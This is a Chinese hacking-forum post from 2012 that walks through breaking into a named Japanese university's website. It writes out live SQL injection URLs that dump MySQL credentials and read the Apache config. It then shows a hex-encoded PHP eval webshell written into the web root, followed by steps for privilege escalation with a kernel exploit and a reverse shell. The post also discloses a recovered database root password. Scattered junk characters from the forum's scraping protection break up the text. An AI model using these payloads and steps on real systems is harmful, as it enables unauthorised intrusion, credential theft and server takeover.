找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2421|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析/ K2 k, L4 F3 ?# R+ t) j5 ]

0 A" G' O8 w. ?3 S. uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
. V2 K8 J# l7 x) `; u4 W  a然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:4 {" Y/ {" X1 `6 O: U, ~

2 N1 t. q! n3 a2 D' C- zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
  ]2 X" K6 [! g1 I, Y( K2 v; Y6 P  M5 o, d# Y: }
7 D1 E4 C' C' \. Q. F
, A: T7 f, b' p+ ?% p
//@@datadir为数据库文件路径
/ Z: _1 Z0 m  ^* }) u # M3 E7 S* B. J1 y# T* U

" ?8 x7 K0 R% L# ?//load_file读取网站容器apache的配置文件
' F4 K( u6 e7 f' l 9 `" D/ h7 G2 W% X/ Y% i9 Q
; ]' D0 W. J" V% ]" ^
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
- f( c7 r4 F, Q) V& V复制代码
0 }0 q/ V  p# q* Z
0 |, C2 w1 |" U% _! x虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。/ y2 k9 @4 y  H- P' i
7 w! v- j- t& B2 _% N' S0 N( s& x
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。9 x. B6 ~) L# |
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
) Y7 y% _. A! r* S5 r* ^3 V$ F
# N& U+ k) ]% E2 _7 k5 M前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
- Y7 d, c  M( O' y2 O如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html: F, `( R+ P9 X; {

9 n8 B5 L% c. Y( s. V/ b+ {" \既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
8 P/ ~' A0 N9 u8 W0 t  H$ Q虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。  m, w3 m( W) S$ i# ?5 y
直接写一句话:
: L0 ]9 w6 u2 ^: A9 u& W
" u. O  w" |5 y1 a4 J9 o$ Bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#; ]- \9 o' z! _: [% b" a
3 S6 h, ?' Y' ~0 _& R! K% y1 I' Y7 J
) J  U1 Q! g! I, C- g
9 J- k" Z+ Q  V( h( g/ U9 W# E2 N
//最后的#是为了闭合前面的语句 . _0 M* ]& E% N8 x  D- i

0 }7 e! m' G$ F* V$ N/ p3 B, x" I0 x
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
4 R9 s( F1 g  m ( A' N* |  F# ]2 C' }$ f3 A

1 L9 @+ D# s4 O4 i% }为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 2 Y. e. }- f; W& k# ?& M5 V6 a

0 d0 ?' N; O. S; |- ?
3 {3 r% u$ w) R3 |  C1 B* S" v//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
  y( D% Z# ?1 ]: e0 b4 n8 H 8 _9 ^+ C. k& d% t5 _3 V% M7 ~4 k

* `5 I6 K- Z  K//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
2 L( K) U, T! u//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
& C( j1 [2 P8 s/ h. G# D4 _3 X复制代码
' y, k' d4 e6 |" l6 \; K. `" w$ t/ l" j( @
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
5 k8 v; X4 q" k- ]4 I通过上述注入语句,我们就得到了一句话木马:& }3 V2 q: n7 F
& {) R% m  P9 E& r' K

# S4 Z' }6 `5 X2 t; [
+ ^: c/ x% Z$ a& D 7 n8 k+ F. z$ x

% A) @. I' l' d- `3 B5 Whttp://www.doshisha.ac.jp/english/engnews_img/aa.php
3 S5 e+ t; B2 s  ~1 ?2 W复制代码
7 u: B. n& ]8 q; M9 g& [
5 V+ w7 P7 Q1 G- q用菜刀连接,密码是cmd,如图所示:0 i: R; I& P4 |, r. \1 O/ N" D/ ~% l
然后在命令提示行里看了一下,现在的权限是:
0 v+ j, L/ Y: u1 S) b
. S6 k8 D1 @& B9 h1 I3 X之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。* S: Q2 w+ q/ D9 @/ B  U3 t, V  t. V
好在赋权给这个文件夹不需要root,直接执行赋权语句:
/ J3 {4 ^; i3 m+ E, R
9 _$ b5 |+ F. r8 h5 p( E& ?
+ h$ V- |, v. K  N' F
+ h, Q( |& t" ^# N2 G1 p" m6 M
/ `" v/ K4 c5 Z0 U. Q! l
- N, o9 I4 W- l4 N) H; ^# f! achmod +x /tmp/
7 j1 P! L# @. v# S; A* Y复制代码
  O- k: X! U9 R0 U/ m4 k1 F9 F; @! c. [2 v
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行" f& I2 h* y+ k( R* c& O) `
然后就查了一下内核版本:
2 R# \4 I+ C* |. E. Z# J0 J/ r$ r6 z
+ d1 F3 D  D$ F* E8 ~3 k7 k
- w1 e, C- Z1 s
( e- V3 f) c7 ?6 R; Q7 E6 i

; y+ O8 o6 n# K! j6 xuname-a . W# j2 }& y" ^% L: p: }
, B- y/ G' s, j4 P7 |: q
, m9 T! _/ b  @- D) H- V$ R* e# E
//其实lsb_release -a ! k4 ], e% a9 R
复制代码
8 q: E6 u: p# A, S5 U
* _1 z. W: U7 q; o9 q如图所示:3 @, n" X) r5 Q1 H8 B' i# w
& k& W! ]' B; N; m3 m4 k3 A/ A# F
内核版本:linux mainz1 2.6.28-194.e15, j2 Z# ?& a, ^# n# H6 T
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
  i6 X2 i. O% [8 P查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" e8 f: c; w! ?" ~7 \5 N  o0 `+ g7 T4 P5 t, |! }) _; H' u$ e" T
然后给予执行权限7 t9 [! ]! |3 V. _# @) t4 E
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
6 {9 g+ [( z1 H+ F* m; @
& p$ f# W, Q2 u' l" k ; ]8 n4 e& b7 a) @, f% R5 C& P) Q

& k8 G! a# |. \ ( j* |3 U5 X( W/ E, O+ Q; k
  p6 K% e7 Y% }7 R, r2 E  V
chmod +x /tmp/2.6.18-194
1 ^, v& P; z6 ~8 U; H% v" ~复制代码 然后直接执行!~
9 L; Z! l( ^% D" X0 e8 D" l
% m( Q5 f. c! y# e6 g总结:6 X% Q: q! b) j) H$ V
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了! G  V, o# I' Y# F
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root- G2 S6 D4 s6 G3 u. L

3 G( z+ @# q' i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表